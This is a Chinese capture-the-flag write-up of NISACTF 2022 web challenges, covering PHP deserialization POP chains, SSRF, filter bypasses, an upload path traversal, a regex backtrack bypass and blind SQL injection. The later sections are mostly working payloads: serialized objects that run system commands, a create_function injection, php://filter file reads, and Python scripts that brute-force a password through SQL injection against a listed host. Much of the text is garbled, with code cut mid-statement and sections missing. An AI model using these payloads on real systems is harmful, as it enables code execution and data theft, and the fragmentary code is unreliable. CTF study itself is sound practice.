目录

前言：

[NISACTF 2022]popchains

[NISACTF 2022]babyserialize

考点：

解题：

解法二：利用 php

 总结：

[NISACTF 2022]easyssrf

[NISACTF 2022]level-up

level 1

level2

Level___3.php

level 4

level5

 [NSSCTF 2022 Spring Recruit]ezgame

[NISACTF 2022]checkin

 [NISACTF 2022]babyupload

[NISACTF 2022]middlerce

[NISACTF 2022]hardsql

前言：

没时间参加比赛，来复现一下。

[NISACTF 2022]popchains

__invoke():当尝试以调用函数的方式调用对象的时候，就会调用该方法__construst():具有构造函数的类在创建新对象的时候，回调此方法__destruct():反序列化的时候，或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用，一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候，会被调用__get():读取不可访问或者不存在的属性的时候，进行赋值__call():在对象中调用一个不可访问的方法的时候，会被执行

进入环境：

直接是代码审计环节：

Happy New Year~ MAKE A WISH';if(isset($_GET['wish'])){    @unserialize($_GET['wish']);}else{    $a=new Road_is_Long;    highlight_file(__FILE__);}class Road_is_Long{    public $page;    public $string;    public function __construct($file='index.php'){        $this->page = $file;    }    public function __toString(){        return $this->string->page;    }    public function __wakeup(){        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {            echo "You can Not Enter 2022";            $this->page = "index.php";        }    }}class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Make_a_Change{    public $effort;    public function __construct(){        $this->effort = array();    }    public function __get($key){        $function = $this->effort;        return $function();    }}

一般的思路，都是先看出口，也就是我们能够利用的点。

这里看到

class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);}

Try_work_Hard 类中 有个文件包含，我们追加上去看看哪里调用了 append 函数。

    public function __invoke(){        $this->append($this->var);    }}

类中的 __invoke 方法 调用了append 传入的$var 。__invoke 的定义是，当一个对象被当函数一样调用的时候 例如： 

$a = new test();$a ();

这样就会触发 __invoke 方法. 那么我们继续追踪 哪里可以调用 __invoke。.

看到 Class MAKE_a_Change 类中：

   public function __get($key){        $function = $this->effort;        return $function();    }}

把$func 对象当作了函数来调用。而定义的__get 该如何 调用呢？

__get 魔术方法 是当访问一个类中的属性不存在或者privte 的时候 会被调用。

在 Class Road_Is_Long 中：

    public function __toString(){        return $this->string->page;    }

如果 $this ->string = MAKE_a_Change的话，就会访问其page 属性，而其类中没有此方法则会调用__get（）

那么再来看看 __toString 方法如何调用：

定义是 __toString()，类被当成字符串时触发。

找了半天，没找到哪里有echo ，只有这个地方有echo, 应该就是 正则匹配这个地方 ,如果$page 是一个对象，那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString

那应该就是 把payload 打进去 就自动触发 __toString 了吧 。

整理下思路：

 __wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=flag.php 。

好，构造。

page = $road2;$road2->string=$make;$make->effort=$try;$ser = serialize($road1);echo urlencode($ser);

直接传入就得到flag。

[NISACTF 2022]babyserialize

考点：

php反序列化pop链构造。

代码审计。

解题：

__invoke():当尝试以调用函数的方式调用对象的时候，就会调用该方法__construst():具有构造函数的类在创建新对象的时候，回调此方法__destruct():反序列化的时候，或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用，一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候，会被调用__get():读取不可访问或者不存在的属性的时候，进行赋值__call():在对象中调用一个不可访问的方法的时候，会被执行

直接来吧：

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}//func checkcheck($data){//  if(preg_match(......)){//      die(something wrong);//  }//}//function hint(){//    echo ".......";//    die();//}?>

老规矩，先找出口，看到 Class NISA 中的 __invoke 方法，有个eval 。只能利用这里了。

如何调用__invoke ：当尝试以调用函数的方式调用对象的时候，就会调用该方法

找一下哪个方法可以 把对象调用。

看到 Class Ilovetxw 中的 __toString 方法:

    public function __toString(){        $bb = $this->su;        return $bb();    }

return $bb ，$bb是class Nisa的对象就会调用 __invoke。

来看看如何调用 __toString .

__toString():把类当成字符串的时候调用，一般在echo处生效

这里有两个地方，一个地方是误区。 一个是NISA 类中的__toString 

    public function __toString()    {        echo $this->fun;        return " ";    }

还有一个地方 Four 类中的set方法：

    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }

我想着 不会 用__toString 去调用 __toString 吧 。那我就不会构造了。。。

仔细看了一下，查了下php文档。

这里写的是将字符串转换为小写  可以调用__toString ，来到__set。

__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候，会被调用

这里选择的是 class Ilovetxw 中的_class 方法。 利用 $this -> four类 -> fun = $arg[0] 就可以调用__clall 因为 这里正好 $fun是 private 属性。

看看__call方法如何调用：

__call():在对象中调用一个不可访问的方法的时候，会被执行

刚好，class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法

class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}

把$this->ext->nisa($this->x);  改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call

整理下 整体流程思路 ：

__invoke =>  __toString  =>  __set => __call => wakeUp.

exp :

ext = $ilove;$ilove ->huang=$four;$four ->a = $ilove;$ilove ->su = $nisa;echo urlencode(serialize($tian));//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A12%3A%22system%28%27ls%27%29%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

传入发现：

 system 改成 大写就可以了

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27tac+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

解法二：利用 php

原生类类。

echo new GlobIterator(\"/f*\");

读文件名 $N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"; 读文件

 总结：

这题 不算复杂 但也足够了。

[NISACTF 2022]easyssrf

伪协议 访问 file :///flag

读取显示：

访问  ha1x1ux1u.php

?file=php://filter/read/convert.base64-encode/resource=/flag

level_2_1s_h3re.php

 give me a parameterlevel 4 failed ...

?a=\create_function&b=}system('tac /flag');//

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (id text primary key,path text);"""def db():    g_db = getattr(g, '_database', None)    if g_db is None:        g_db = g._database = sqlite3.connect("database.db")    return g_db@app.before_first_requestdef setup():    os.remove("database.db")    cur = db().cursor()    cur.executescript(SCHEMA)@app.route('/')def hello_world():    return """
    Select image to upload:        
"""@app.route('/source')def source():    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])def upload():    if 'file' not in request.files:        return redirect('/')    file = request.files['file']    if "." in file.filename:        return "Bad filename!", 403    conn = db()    cur = conn.cursor()    uid = uuid.uuid4().hex    try:        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))    except sqlite3.IntegrityError:        return "Duplicate file"    conn.commit()    file.save('uploads/' + file.filename)    return redirect('/file/' + uid)@app.route('/file/')def file(id):    conn = db()    cur = conn.cursor()    cur.execute("select path from files where id=?", (id,))    res = cur.fetchone()    if res is None:        return "File not found", 404    # print(res[0])    with open(os.path.join("uploads/", res[0]), "r") as f:        return f.read()if __name__ == '__main__':    app.run(host='0.0.0.0', port=80)

    with open(os.path.join("uploads/", res[0]), "r") as f:        return f.read()

import os print("1:",os.path.join('aaaa','/bbbb','ccccc.txt')) print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt')) print("3:",os.path.join('aaaa','ddd','./bbb','ccccc.txt'))

1: /bbbb\ccccc.txt2: /ccccc.txt3: aaaa\ddd\./bbb\ccccc.txt

|\{|\x09|\x0a|\[).*$/m',$txw4ever)){        die("再加把油喔");    }    else{        $command = json_decode($txw4ever,true)['cmd'];        checkdata($command);        @eval($command);    }}else{    highlight_file(__FILE__);}?>

import requestspayload='{"cmd":"?>","test":"' + "@"*(1000000) + '"}'res = requests.post("http://1.14.71.254:28939/", data={"letter":payload})print(res.text)

import requestsurl='http://1.14.71.254:28961/login.php'dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'flag=''for j in range(50):    for i in dict:        data={            "username":"bilala",            "passwd":f"1'orpasswdlike'{flag+i}%'#"        }        res=requests.post(url,data=data)        if "nothing found" not in res.text:            flag=flag+i            print(flag)            break

alert('{$mes}');location.href='{$url}';");}function checkSql($s) {    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){        alertMes('waf here', 'index.php');    }}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {    $username=$_POST['username'];    $password=$_POST['passwd'];    if ($username !== 'bilala') {        alertMes('only bilala can login', 'index.php');    }    checkSql($password);    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";    $user_result=mysqli_query($MysqlLink,$sql);    $row = mysqli_fetch_array($user_result);    if (!$row) {        alertMes('nothing found','index.php');    }    if ($row['passwd'] === $password) {        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){            show_source(__FILE__);            die;        }        else{            die($FLAG);        }    } else {        alertMes("wrong password",'index.php');    }}?>

    if ($row['passwd'] === $password) {        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){            show_source(__FILE__);            die;        }        else{            die($FLAG);        }    } else {        alertMes("wrong password",'index.php');